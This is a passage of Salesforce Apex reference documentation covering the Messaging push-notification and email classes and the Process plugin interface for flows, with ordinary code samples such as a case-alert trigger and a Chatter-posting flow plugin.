The name of the header parameter, such as Date or Message-ID.
value
The value of the header.

name
The name of the header parameter, such as Date or Message-ID.

Signature
public String name {get; set;}

Property Value
Type: String

value
The value of the header.

Signature
public String value {get; set;}

Property Value
Type: String

PushNotification Class
PushNotification is used to configure push notifications and send them from an Apex trigger.

Namespace
Messaging

Example
This sample Apex trigger sends push notifications to the connected app named Test_App, which corresponds to a mobile app on
iOS mobile clients. The trigger fires after cases have been updated and sends the push notification to two users: the case owner and the
user who last modified the case.
trigger caseAlert on Case (after update) {
for(Case cs : Trigger.New)
{
// Instantiating a notification

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PushNotification Class

Messaging.PushNotification msg =
new Messaging.PushNotification();
// Assembling the necessary payload parameters for Apple.
// Apple params are:
// (<alert text>,<alert sound>,<badge count>,
// <free-form data>)
// This example doesn't use badge count or free-form data.
// The number of notifications that haven't been acted
// upon by the intended recipient is best calculated
// at the time of the push. This timing helps
// ensure accuracy across multiple target devices.
Map<String, Object> payload =
Messaging.PushNotificationPayload.apple(
'Case ' + cs.CaseNumber + ' status changed to: '
+ cs.Status, '', null, null);
// Adding the assembled payload to the notification
msg.setPayload(payload);
// Getting recipient users
String userId1 = cs.OwnerId;
String userId2 = cs.LastModifiedById;
// Adding recipient users to list
Set<String> users = new Set<String>();
users.add(userId1);
users.add(userId2);
// Sending the notification to the specified app and users.
// Here we specify the API name of the connected app.
msg.send('Test_App', users);
}
}

IN THIS SECTION:
PushNotification Constructors
PushNotification Methods

PushNotification Constructors
The following are the constructors for PushNotification.
IN THIS SECTION:
PushNotification()
Creates a new instance of the Messaging.PushNotification class.
PushNotification(payload)
Creates a new instance of the Messaging.PushNotification class using the specified payload parameters as key-value
pairs. When you use this constructor, you dont need to call setPayload to set the payload.

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PushNotification Class

PushNotification()
Creates a new instance of the Messaging.PushNotification class.

Signature
public PushNotification()

PushNotification(payload)
Creates a new instance of the Messaging.PushNotification class using the specified payload parameters as key-value pairs.
When you use this constructor, you dont need to call setPayload to set the payload.

Signature
public PushNotification(Map<String,Object> payload)

Parameters
payload

Type:Map<String, Object>
The payload, expressed as a map of key-value pairs.

PushNotification Methods
The following are the methods for PushNotification. All are global methods.
IN THIS SECTION:
send(application, users)
Sends a push notification message to the specified users.
setPayload(payload)
Sets the payload of the push notification message.
setTtl(ttl)
Reserved for future use.

send(application, users)
Sends a push notification message to the specified users.

Signature
public void send(String application, Set<String> users)

Parameters
application

Type: String

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PushNotificationPayload Class

The connected app API name. This corresponds to the mobile client app the notification should be sent to.
users

Type: Set
A set of user IDs that correspond to the users the notification should be sent to.

Example
See the Push Notification Example.

setPayload(payload)
Sets the payload of the push notification message.

Signature
public void setPayload(Map<String,Object> payload)

Parameters
payload

Type: Map<String, Object>

The payload, expressed as a map of key-value pairs.
Payload parameters can be different for each mobile OS vendor. For more information on Apples payload parameters, search for
Apple Push Notification Service at https://developer.apple.com/library/mac/documentation/.
To create the payload for an Apple device, see the PushNotificationPayload Class.

Example
See the Push Notification Example.

setTtl(ttl)
Reserved for future use.

Signature
public void setTtl(Integer ttl)

Parameters
ttl

Type: Integer
Reserved for future use.

PushNotificationPayload Class
Contains methods to create the notification message payload for an Apple device.

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PushNotificationPayload Class

Namespace
Messaging

Usage
Apple has specific requirements for the notification payload. and this class has helper methods to create the payload. For more information
on Apples payload parameters, search for Apple Push Notification Service at https://developer.apple.com/library/mac/documentation/.

Example
See the Push Notification Example.
IN THIS SECTION:
PushNotificationPayload Methods

PushNotificationPayload Methods
The following are the methods for PushNotificationPayload. All are global static methods.
IN THIS SECTION:
apple(alert, sound, badgeCount, userData)
Helper method that creates a valid Apple payload from the specified arguments.
apple(alertBody, actionLocKey, locKey, locArgs, launchImage, sound, badgeCount, userData)
Helper method that creates a valid Apple payload from the specified arguments.

apple(alert, sound, badgeCount, userData)

Helper method that creates a valid Apple payload from the specified arguments.

Signature
public static Map<String,Object> apple(String alert, String sound, Integer badgeCount,
Map<String,Object> userData)

Parameters
alert

Type: String
Notification message to be sent to the mobile client.
sound

Type: String
Name of a sound file to be played as an alert. This sound file should be in the mobile application bundle.
badgeCount

Type: Integer
Number to display as the badge of the application icon.

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PushNotificationPayload Class

userData

Type: Map<String, Object>

Map of key-value pairs that contains any additional data used to provide context for the notification. For example, it can contain IDs
of the records that caused the notification to be sent. The mobile client app can use these IDs to display these records.

Return Value
Type:Map<String, Object>
Returns a formatted payload that includes all of the specified arguments.

Usage
To generate a valid payload, you must provide a value for at least one of the following parameters: alert, sound, badgeCount.

Example
See the Push Notification Example.

apple(alertBody, actionLocKey, locKey, locArgs, launchImage, sound,

badgeCount, userData)
Helper method that creates a valid Apple payload from the specified arguments.

Signature
public static Map<String,Object> apple(String alertBody, String actionLocKey, String
locKey, String[] locArgs, String launchImage, String sound, Integer badgeCount,
Map<String,Object> userData)

Parameters
alertBody

Type: String
Text of the alert message.
actionLocKey

Type: String
If a value is specified for the actionLocKey argument, an alert with two buttons is displayed. The value is a key to get a localized
string in a Localizable.strings file to use for the right buttons title.
locKey

Type: String
Key to an alert-message string in a Localizable.strings file for the current localization.
locArgs

Type: List<String>
Variable string values to appear in place of the format specifiers in locKey.
launchImage

Type: String

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RenderEmailTemplateBodyResult Class

File name of an image file in the application bundle.

sound

Type: String
Name of a sound file to be played as an alert. This sound file should be in the mobile application bundle.
badgeCount

Type: Integer
Number to display as the badge of the application icon.
userData

Type: Map<String, Object>

Return Value
Type: Map<String, Object>
Returns a formatted payload that includes all of the specified arguments.

Usage
To generate a valid payload, you must provide a value for at least one of the following parameters: alert, sound, badgeCount.

RenderEmailTemplateBodyResult Class
Contains the results for rendering email templates.

Namespace
Messaging
IN THIS SECTION:
RenderEmailTemplateBodyResult Methods

RenderEmailTemplateBodyResult Methods
The following are methods for RenderEmailTemplateBodyResult.
IN THIS SECTION:
getErrors()
If an error occurred during the renderEmailTemplate method, a RenderEmailTemplateError object is returned.
getMergedBody()
Returns the rendered body text with merge field references replaced with the corresponding record data.
getSuccess()
Indicates whether the operation was successful.

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RenderEmailTemplateError Class

getErrors()
If an error occurred during the renderEmailTemplate method, a RenderEmailTemplateError object is returned.

Signature
public List<Messaging.RenderEmailTemplateError> getErrors()

Return Value
Type: List<Messaging.RenderEmailTemplateError>

getMergedBody()
Returns the rendered body text with merge field references replaced with the corresponding record data.

Signature
public String getMergedBody()

Return Value
Type: String

getSuccess()
Indicates whether the operation was successful.

Signature
public Boolean getSuccess()

Return Value
Type: Boolean

RenderEmailTemplateError Class
Represents an error that the RenderEmailTemplateBodyResult object can contain.

Namespace
Messaging
IN THIS SECTION:
RenderEmailTemplateError Methods

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RenderEmailTemplateError Class

RenderEmailTemplateError Methods
The following are methods for RenderEmailTemplateError.
IN THIS SECTION:
getFieldName()
Returns the name of the merge field in the error.
getMessage()
Returns a message describing the error.
getOffset()
Returns the offset within the supplied body text where the error was discovered. If the offset cannot be determined, -1 is returned.
getStatusCode()
Returns a Salesforce API status code.

getFieldName()
Returns the name of the merge field in the error.

Signature
public String getFieldName()

Return Value
Type: String

getMessage()
Returns a message describing the error.

Signature
public String getMessage()

Return Value
Type: String

getOffset()
Returns the offset within the supplied body text where the error was discovered. If the offset cannot be determined, -1 is returned.

Signature
public Integer getOffset()

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SendEmailError Class

Return Value
Type: Integer

getStatusCode()
Returns a Salesforce API status code.

Signature
public System.StatusCode getStatusCode()

Return Value
Type: System.StatusCode

SendEmailError Class
Represents an error that the SendEmailResult object may contain.

Namespace
Messaging

SendEmailError Methods
The following are methods for SendEmailError. All are instance methods.
IN THIS SECTION:
getFields()
A list of one or more field names. Identifies which fields in the object, if any, affected the error condition.
getMessage()
The text of the error message.
getStatusCode()
Returns a code that characterizes the error.
getTargetObjectId()
The ID of the target record for which the error occurred.

getFields()
A list of one or more field names. Identifies which fields in the object, if any, affected the error condition.

Signature
public String[] getFields()

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SendEmailResult Class

Return Value
Type: String[]

getMessage()
The text of the error message.

Signature
public String getMessage()

Return Value
Type: String

getStatusCode()
Returns a code that characterizes the error.

Signature
public System.StatusCode getStatusCode()

Return Value
Type: System.StatusCode

Usage
The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file for
your organization, see Downloading Salesforce WSDLs and Client Authentication Certificates in the Salesforce online help.

getTargetObjectId()
The ID of the target record for which the error occurred.

Signature
public String getTargetObjectId()

Return Value
Type: String

SendEmailResult Class
Contains the result of sending an email message.

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SingleEmailMessage Methods

Namespace
Messaging

SendEmailResult Methods
The following are methods for SendEmailResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurred during the sendEmail method, a SendEmailError object is returned.
isSuccess()
Indicates whether the email was successfully submitted for delivery (true) or not (false). Even if isSuccess is true, it does
not mean the intended recipients received the email, as there could have been a problem with the email address or it could have
bounced or been blocked by a spam blocker.

getErrors()
If an error occurred during the sendEmail method, a SendEmailError object is returned.

Signature
public SendEmailError[] getErrors()

Return Value
Type: Messaging.SendEmailError[]

isSuccess()
Indicates whether the email was successfully submitted for delivery (true) or not (false). Even if isSuccess is true, it does not
mean the intended recipients received the email, as there could have been a problem with the email address or it could have bounced
or been blocked by a spam blocker.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

SingleEmailMessage Methods
Contains methods for sending single email messages.

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Reference

SingleEmailMessage Methods

Namespace
Messaging

Usage
All base email (Email class) methods are also available to the SingleEmailMessage objects.
Email properties are readable and writable. Each property has corresponding setter and getter methods. For example, the
toAddresses() property is equivalent to the setToAddresses() and getToAddresses() methods. Only the setter
methods are documented.
IN THIS SECTION:
SingleEmailMessage Constructors
SingleEmailMessage Methods
SEE ALSO:
Email Class (Base Email Methods)

SingleEmailMessage Constructors
The following are constructors for SingleEmailMessage.
IN THIS SECTION:
SingleEmailMessage()
Creates a new instance of the Messaging.SingleEmailMessage class.

SingleEmailMessage()
Creates a new instance of the Messaging.SingleEmailMessage class.

Signature
public SingleEmailMessage()

SingleEmailMessage Methods
The following are methods for SingleEmailMessage. All are instance methods.
IN THIS SECTION:
setBccAddresses(bccAddresses)
Optional. A list of blind carbon copy (BCC) addresses. The maximum allowed is 25. This argument is allowed only when a template
is not used.
setCcAddresses(ccAddresses)
Optional. A list of carbon copy (CC) addresses. The maximum allowed is 25. This argument is allowed only when a template is not
used.

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SingleEmailMessage Methods

setCharset(characterSet)
Optional. The character set for the email. If this value is null, the user's default value is used.
setDocumentAttachments(documentIds)
(Deprecated. Use setEntityAttachments() instead.) Optional. A list containing the ID of each document object you
want to attach to the email.
setEntityAttachments(ids)
Optional. Array of IDs of Document or ContentVersion items to attach to the email.
setFileAttachments(fileNames)
Optional. A list containing the file names of the binary and text files you want to attach to the email.
setHtmlBody(htmlBody)
Optional. The HTML version of the email, specified by the sender. The value is encoded according to the specification associated
with the organization. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you
can define both setHtmlBody and setPlainTextBody.
setInReplyTo(parentMessageIds)
Sets the optional In-Reply-To field of the outgoing email. This field identifies the email or emails to which this email is a reply (parent
emails).
setOptOutPolicy(emailOptOutPolicy)
Optional. If you added recipients by ID instead of email address and the Email Opt Out option is set, this method determines
the behavior of the sendEmail() call. If you add recipients by their email addresses, the opt-out settings for those recipients
arent checked and those recipients always receive the email.
setPlainTextBody(plainTextBody)
Optional. The text version of the email, specified by the sender. You must specify a value for setTemplateId, setHtmlBody,
or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.
setOrgWideEmailAddressId(emailAddressId)
Optional. The ID of the organization-wide email address associated with the outgoing email. The object's DisplayName field
cannot be set if the setSenderDisplayName field is already set.
setReferences(references)
Optional. The References field of the outgoing email. Identifies an email thread. Contains the parent emails' References and message
IDs, and possibly the In-Reply-To fields.
setSubject(subject)
Optional. The email subject line. If you are using an email template, the subject line of the template overrides this value.
setTargetObjectId(targetObjectId)
Required if using a template, optional otherwise. The ID of the contact, lead, or user to which the email will be sent. The ID you
specify sets the context and ensures that merge fields in the template contain the correct data.
setToAddresses(toAddresses)
Optional. A list of email addresses to which you are sending the email. The maximum number of email addresses allowed is 100.
This argument is allowed only when a template is not used.
setTreatBodiesAsTemplate(treatAsTemplate)
Optional. If set to true, the subject, plain text, and HTML text bodies of the email are treated as template data.
setTreatTargetObjectAsRecipient(treatAsRecipient)
Optional. If set to true, the targetObjectId (a contact, lead, or user) is the recipient of the email. If set to false, the
targetObjectId is supplied as the WhoId field for template rendering but isnt a recipient of the email. The default is true.

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SingleEmailMessage Methods

setWhatId(whatId)
If you specify a contact for the targetObjectId field, you can specify an optional whatId as well. This helps to further ensure
that merge fields in the template contain the correct data.

setBccAddresses(bccAddresses)
Optional. A list of blind carbon copy (BCC) addresses. The maximum allowed is 25. This argument is allowed only when a template is
not used.

Signature
public Void setBccAddresses(String[] bccAddresses)

Parameters
bccAddresses

Type: String[]

Return Value
Type: Void

Usage
All emails must have a recipient value in at least one of the following fields:
toAddresses
ccAddresses
bccAddresses
targetObjectId
If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages. The following
error code is returned: BCC_NOT_ALLOWED_IF_BCC_ COMPLIANCE_ENABLED. Contact your Salesforce representative for
information on BCC compliance.

setCcAddresses(ccAddresses)
Optional. A list of carbon copy (CC) addresses. The maximum allowed is 25. This argument is allowed only when a template is not used.

Signature
public Void setCcAddresses(String[] ccAddresses)

Parameters
ccAddresses

Type: String[]

Return Value
Type: Void

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SingleEmailMessage Methods

Usage
All emails must have a recipient value in at least one of the following fields:
toAddresses
ccAddresses
bccAddresses
targetObjectId

setCharset(characterSet)
Optional. The character set for the email. If this value is null, the user's default value is used.

Signature
public Void setCharset(String characterSet)

Parameters
characterSet

Type: String

Return Value
Type: Void

setDocumentAttachments(documentIds)
(Deprecated. Use setEntityAttachments() instead.) Optional. A list containing the ID of each document object you want
to attach to the email.

Signature
public Void setDocumentAttachments(ID[] documentIds)

Parameters
documentIds

Type: ID[]

Return Value
Type: Void

Usage
You can attach multiple documents as long as the total size of all attachments does not exceed 10 MB.

setEntityAttachments(ids)
Optional. Array of IDs of Document or ContentVersion items to attach to the email.

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SingleEmailMessage Methods

Signature
public void setEntityAttachments(List<String> ids)

Parameters
ids

Type: List<String>

Return Value
Type: void

setFileAttachments(fileNames)
Optional. A list containing the file names of the binary and text files you want to attach to the email.

Signature
public Void setFileAttachments(EmailFileAttachment[] fileNames)

Parameters
fileNames

Type: Messaging.EmailFileAttachment[]

Return Value
Type: Void

Usage
You can attach multiple files as long as the total size of all attachments does not exceed 10 MB.

setHtmlBody(htmlBody)
Optional. The HTML version of the email, specified by the sender. The value is encoded according to the specification associated with
the organization. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define
both setHtmlBody and setPlainTextBody.

Signature
public Void setHtmlBody(String htmlBody)

Parameters
htmlBody

Type: String

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Reference

SingleEmailMessage Methods

Return Value
Type: Void

setInReplyTo(parentMessageIds)
Sets the optional In-Reply-To field of the outgoing email. This field identifies the email or emails to which this email is a reply (parent
emails).

Signature
public Void setInReplyTo(String parentMessageIds)

Parameters
parentMessageIds

Type: String
Contains one or more parent email message IDs.

Return Value
Type: Void

setOptOutPolicy(emailOptOutPolicy)
Optional. If you added recipients by ID instead of email address and the Email Opt Out option is set, this method determines the
behavior of the sendEmail() call. If you add recipients by their email addresses, the opt-out settings for those recipients arent
checked and those recipients always receive the email.

Signature
public void setOptOutPolicy(String emailOptOutPolicy)

Parameters
emailOptOutPolicy

Type: String
Possible values of the emailOptOutPolicy parameter are:
SEND (default)The email is sent to all recipients and the Email Opt Out option of the recipients is ignored.
FILTERNo email is sent to the recipients that have the Email Opt Out option set and emails are sent to the other
recipients.
REJECTIf any of the recipients have the Email Opt Out option set, sendEmail() throws an error and no email is
sent.

Return Value
Type: void

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Reference

SingleEmailMessage Methods

Example
This example shows how to send an email with the opt-out setting enforced. Recipients are specified by their IDs. The FILTER option
causes the email to be sent only to recipients that havent opted out from email. This example uses dot notation of the email properties,
which is equivalent to using the set methods.
Messaging.SingleEmailMessage message = new Messaging.SingleEmailMessage();
// Set recipients to two contact IDs.
// Replace IDs with valid record IDs in your org.
message.toAddresses = new String[] { '003D000000QDexS', '003D000000QDfW5' };
message.optOutPolicy = 'FILTER';
message.subject = 'Opt Out Test Message';
message.plainTextBody = 'This is the message body.';
Messaging.SingleEmailMessage[] messages =
new List<Messaging.SingleEmailMessage> {message};
Messaging.SendEmailResult[] results = Messaging.sendEmail(messages);
if (results[0].success) {
System.debug('The email was sent successfully.');
} else {
System.debug('The email failed to send: '
+ results[0].errors[0].message);
}

setPlainTextBody(plainTextBody)
Optional. The text version of the email, specified by the sender. You must specify a value for setTemplateId, setHtmlBody, or
setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.

Signature
public Void setPlainTextBody(String plainTextBody)

Parameters
plainTextBody

Type: String

Return Value
Type: Void

setOrgWideEmailAddressId(emailAddressId)
Optional. The ID of the organization-wide email address associated with the outgoing email. The object's DisplayName field cannot
be set if the setSenderDisplayName field is already set.

Signature
public Void setOrgWideEmailAddressId(ID emailAddressId)

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Reference

SingleEmailMessage Methods

Parameters
emailAddressId

Type: ID

Return Value
Type: Void

setReferences(references)
Optional. The References field of the outgoing email. Identifies an email thread. Contains the parent emails' References and message
IDs, and possibly the In-Reply-To fields.

Signature
public Void setReferences(String references)

Parameters
references

Type: String

Return Value
Type: Void

setSubject(subject)
Optional. The email subject line. If you are using an email template, the subject line of the template overrides this value.

Signature
public Void setSubject(String subject)

Parameters
subject

Type: String

Return Value
Type: Void

setTargetObjectId(targetObjectId)
Required if using a template, optional otherwise. The ID of the contact, lead, or user to which the email will be sent. The ID you specify
sets the context and ensures that merge fields in the template contain the correct data.

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Reference

SingleEmailMessage Methods

Signature
public Void setTargetObjectId(ID targetObjectId)

Parameters
targetObjectId

Type: ID

Return Value
Type: Void

Usage
Do not specify the IDs of records that have the Email Opt Out option selected.
All emails must have a recipient value in at least one of the following fields:
toAddresses
ccAddresses
bccAddresses
targetObjectId

setToAddresses(toAddresses)
Optional. A list of email addresses to which you are sending the email. The maximum number of email addresses allowed is 100. This
argument is allowed only when a template is not used.

Signature
public Void setToAddresses(String[] toAddresses)

Parameters
toAddresses

Type: String[]

Return Value
Type: Void

Usage
All emails must have a recipient value in at least one of the following fields:
toAddresses
ccAddresses
bccAddresses
targetObjectId

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Reference

SingleEmailMessage Methods

setTreatBodiesAsTemplate(treatAsTemplate)
Optional. If set to true, the subject, plain text, and HTML text bodies of the email are treated as template data.

Signature
public void setTreatBodiesAsTemplate(Boolean treatAsTemplate)

Parameters
treatAsTemplate

Type: Boolean

Return Value
Type: void

setTreatTargetObjectAsRecipient(treatAsRecipient)
Optional. If set to true, the targetObjectId (a contact, lead, or user) is the recipient of the email. If set to false, the
targetObjectId is supplied as the WhoId field for template rendering but isnt a recipient of the email. The default is true.

Signature
public void setTreatTargetObjectAsRecipient(Boolean treatAsRecipient)

Parameters
treatAsRecipient

Type: Boolean

Return Value
Type: void

Signature
public Void setWhatId(ID whatId)

Parameters
whatId

Type: ID

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Reference

Process Namespace

Return Value
Type: Void

Usage
The value must be one of the following types:
Account
Asset
Campaign
Case
Contract
Opportunity
Order
Product
Solution
Custom

Process Namespace
The Process namespace provides an interface and classes for passing data between your organization and a flow.
The following are the interfaces and classes in the Process namespace.
IN THIS SECTION:
Plugin Interface
Allows you to pass data between your organization and a specified flow.
PluginDescribeResult Class
Describes the input and output parameters for Process.PluginResult.
PluginDescribeResult.InputParameter Class
Describes the input parameter for Process.PluginResult.
PluginDescribeResult.OutputParameter Class
Describes the output parameter for Process.PluginResult.
PluginRequest Class
Passes input parameters from the class that implements the Process.Plugin interface to the flow.
PluginResult Class
Returns output parameters from the class that implements the Process.Plugin interface to the flow.

Plugin Interface
Allows you to pass data between your organization and a specified flow.

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Reference

Plugin Interface

Namespace
Process
IN THIS SECTION:
Plugin Methods
Plugin Example Implementation

Plugin Methods
The following are instance methods for Plugin.
IN THIS SECTION:
describe()
Returns a Process.PluginDescribeResult object that describes this method call.
invoke(request)
Primary method that the system invokes when the class that implements the interface is instantiated.

describe()
Returns a Process.PluginDescribeResult object that describes this method call.

Signature
public Process.PluginDescribeResult describe()

Return Value
Type: Process.PluginDescribeResult

invoke(request)
Primary method that the system invokes when the class that implements the interface is instantiated.

Signature
public Process.PluginResult invoke(Process.PluginRequest request)

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Reference

Plugin Interface

Parameters
request

Type: Process.PluginRequest

Return Value
Type: Process.PluginResult

Plugin Example Implementation

global class flowChat implements Process.Plugin {
// The main method to be implemented. The Flow calls this at run time.
global Process.PluginResult invoke(Process.PluginRequest request) {
// Get the subject of the Chatter post from the flow
String subject = (String) request.inputParameters.get('subject');
// Use the Chatter APIs to post it to the current user's feed
FeedItem fItem = new FeedItem();
fItem.ParentId = UserInfo.getUserId();
fItem.Body = 'Force.com flow Update: ' + subject;
insert fItem;
// return to Flow
Map<String,Object> result = new Map<String,Object>();
return new Process.PluginResult(result);
}
// Returns the describe information for the interface
global Process.PluginDescribeResult describe() {
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.Name = 'flowchatplugin';
result.Tag = 'chat';
result.inputParameters = new
List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('subject',
Process.PluginDescribeResult.ParameterType.STRING, true)
};
result.outputParameters = new
List<Process.PluginDescribeResult.OutputParameter>{ };
return result;
}
}

Test Class
The following is a test class for the above class.
@isTest
private class flowChatTest {
static testmethod void flowChatTests() {

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Reference

PluginDescribeResult Class

flowChat plugin = new flowChat();

Map<String,Object> inputParams = new Map<String,Object>();
string feedSubject = 'Flow is alive';
InputParams.put('subject', feedSubject);
Process.PluginRequest request = new Process.PluginRequest(inputParams);

plugin.invoke(request);
}
}

PluginDescribeResult Class
Describes the input and output parameters for Process.PluginResult.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
The interface doesnt support Blob, Collection, sObject, and Time data types, and it doesnt support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

Namespace
Process
IN THIS SECTION:
PluginDescribeResult Constructors
PluginDescribeResult Properties

PluginDescribeResult Constructors
The following are constructors for PluginDescribeResult.
IN THIS SECTION:
PluginDescribeResult()
Creates a new instance of the Process.PluginDescribeResult class.

PluginDescribeResult()
Creates a new instance of the Process.PluginDescribeResult class.

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Reference

PluginDescribeResult Class

Signature
public PluginDescribeResult()

PluginDescribeResult Properties
The following are properties for PluginDescribeResult.
IN THIS SECTION:
description
This optional field describes the purpose of the plug-in.
inputParameters
The input parameters passed by the Process.PluginRequest class from a flow to the class that implements the
Process.Plugin interface.
name
Unique name of the plug-in.
outputParameters
The output parameters passed by the Process.PluginResult class from the class that implements the Process.Plugin
interface to the flow.
tag
With this optional field, you can group plug-ins by tag name so they appear together in the Apex plug-in section of the Palette
within the Flow Designer. This is helpful if you have multiple plug-ins in your flow.

description
This optional field describes the purpose of the plug-in.

Signature
public String description {get; set;}

Property Value
Type: String

Usage
Size limit: 255 characters.

inputParameters
The input parameters passed by the Process.PluginRequest class from a flow to the class that implements the
Process.Plugin interface.

Signature
public List<Process.PluginDescribeResult.InputParameter> inputParameters {get; set;}

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Reference

PluginDescribeResult Class

Property Value
Type: List<Process.PluginDescribeResult.InputParameter>

name
Unique name of the plug-in.

Signature
public String name {get; set;}

Property Value
Type: String

Usage
Size limit: 40 characters.

outputParameters
The output parameters passed by the Process.PluginResult class from the class that implements the Process.Plugin
interface to the flow.

Signature
public List<Process.PluginDescribeResult.OutputParameter> outputParameters {get; set;}

Property Value
Type: List<Process.PluginDescribeResult.OutputParameter>

tag
With this optional field, you can group plug-ins by tag name so they appear together in the Apex plug-in section of the Palette within
the Flow Designer. This is helpful if you have multiple plug-ins in your flow.

Signature
public String tag {get; set;}

Property Value
Type: String

Usage
Size limit: 40 characters.

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Reference

PluginDescribeResult.InputParameter Class

PluginDescribeResult.InputParameter Class
Describes the input parameter for Process.PluginResult.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
The interface doesnt support Blob, Collection, sObject, and Time data types, and it doesnt support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

Namespace
Process
IN THIS SECTION:
PluginDescribeResult.InputParameter Constructors
PluginDescribeResult.InputParameter Properties

PluginDescribeResult.InputParameter Constructors
The following are constructors for PluginDescribeResult.InputParameter.
IN THIS SECTION:
PluginDescribeResult.InputParameter(name, description, parameterType, required)
Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name,
description, parameter type, and required option.
PluginDescribeResult.InputParameter(name, parameterType, required)
Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name,
parameter type, and required option.

PluginDescribeResult.InputParameter(name, description, parameterType,

required)
Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name,
description, parameter type, and required option.

Signature
public PluginDescribeResult.InputParameter(String name, String description,
Process.PluginDescribeResult.ParameterType parameterType, Boolean required)

Parameters
name

Type: String
Unique name of the plug-in.

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Reference

PluginDescribeResult.InputParameter Class

description

Type: String
Describes the purpose of the plug-in.
parameterType

Type: Process.PluginDescribeResult.ParameterType
The data type of the input parameter.
required

Type: Boolean
Set to true for required and false otherwise.

PluginDescribeResult.InputParameter(name, parameterType, required)

Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name,
parameter type, and required option.

Signature
public PluginDescribeResult.InputParameter(String name,
Process.PluginDescribeResult.ParameterType parameterType, Boolean required)

Parameters
name

Type: String
Unique name of the plug-in.
parameterType

Type: Process.PluginDescribeResult.ParameterType
The data type of the input parameter.
required

Type: Boolean
Set to true for required and false otherwise.

PluginDescribeResult.InputParameter Properties
The following are properties for PluginDescribeResult.InputParameter.
IN THIS SECTION:
Description
This optional field describes the purpose of the plug-in.
Name
Unique name of the plug-in.
ParameterType
The data type of the input parameter.

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Reference

PluginDescribeResult.InputParameter Class

Required
Set to true for required and false otherwise.

Description
This optional field describes the purpose of the plug-in.

Signature
public String Description {get; set;}

Property Value
Type: String

Usage
Size limit: 255 characters.

Name
Unique name of the plug-in.

Signature
public String Name {get; set;}

Property Value
Type: String

Usage
Size limit: 40 characters.

ParameterType
The data type of the input parameter.

Signature
public Process.PluginDescribeResult.ParameterType ParameterType {get; set;}

Property Value
Type: Process.PluginDescribeResult.ParameterType

Required
Set to true for required and false otherwise.

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Reference

PluginDescribeResult.OutputParameter Class

Signature
public Boolean Required {get; set;}

Property Value
Type: Boolean

PluginDescribeResult.OutputParameter Class
Describes the output parameter for Process.PluginResult.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
The interface doesnt support Blob, Collection, sObject, and Time data types, and it doesnt support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.

Namespace
Process
IN THIS SECTION:
PluginDescribeResult.OutputParameter Constructors
PluginDescribeResult.OutputParameter Properties

PluginDescribeResult.OutputParameter Constructors
The following are constructors for PluginDescribeResult.OutputParameter.
IN THIS SECTION:
PluginDescribeResult.OutputParameter(name, description, parameterType)
Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name,
description, and parameter type.
PluginDescribeResult.OutputParameter(name, parameterType)
Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name,
description, and parameter type.

PluginDescribeResult.OutputParameter(name, description, parameterType)

Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name,
description, and parameter type.

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Reference

PluginDescribeResult.OutputParameter Class

Signature
public PluginDescribeResult.OutputParameter(String name, String description,
Process.PluginDescribeResult.ParameterType parameterType)

Parameters
name

Type: String
Unique name of the plug-in.
description

Type: String
Describes the purpose of the plug-in.
parameterType

Type: Process.PluginDescribeResult.ParameterType
The data type of the input parameter.

PluginDescribeResult.OutputParameter(name, parameterType)
Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name,
description, and parameter type.

Signature
public PluginDescribeResult.OutputParameter(String name,
Process.PluginDescribeResult.ParameterType parameterType)

Parameters
name

Type: String
Unique name of the plug-in.
parameterType

Type: Process.PluginDescribeResult.ParameterType
The data type of the input parameter.

PluginDescribeResult.OutputParameter Properties
The following are properties for PluginDescribeResult.OutputParameter.
IN THIS SECTION:
Description
This optional field describes the purpose of the plug-in.
Name
Unique name of the plug-in.

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Reference

PluginRequest Class

ParameterType
The data type of the input parameter.

Description
This optional field describes the purpose of the plug-in.

Signature
public String Description {get; set;}

Property Value
Type: String

Usage
Size limit: 255 characters.

Name
Unique name of the plug-in.

Signature
public String Name {get; set;}

Property Value
Type: String

Usage
Size limit: 40 characters.

ParameterType
The data type of the input parameter.

Signature
public Process.PluginDescribeResult.ParameterType ParameterType {get; set;}

Property Value
Type: Process.PluginDescribeResult.ParameterType

PluginRequest Class
Passes input parameters from the class that implements the Process.Plugin interface to the flow.

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Reference

PluginResult Class

Namespace
Process

PluginRequest Properties
The following are properties for PluginRequest.
IN THIS SECTION:
inputParameters
Input parameters that are passed from the class that implements the Process.Plugin interface to the flow.

inputParameters
Input parameters that are passed from the class that implements the Process.Plugin interface to the flow.

Signature
public MAP<String,ANY> inputParameters {get; set;}

Property Value
Type: Map<String, Object>

PluginResult Class
Returns output parameters from the class that implements the Process.Plugin interface to the flow.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
The interface doesnt support Blob, Collection, sObject, and Time data types, and it doesnt support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
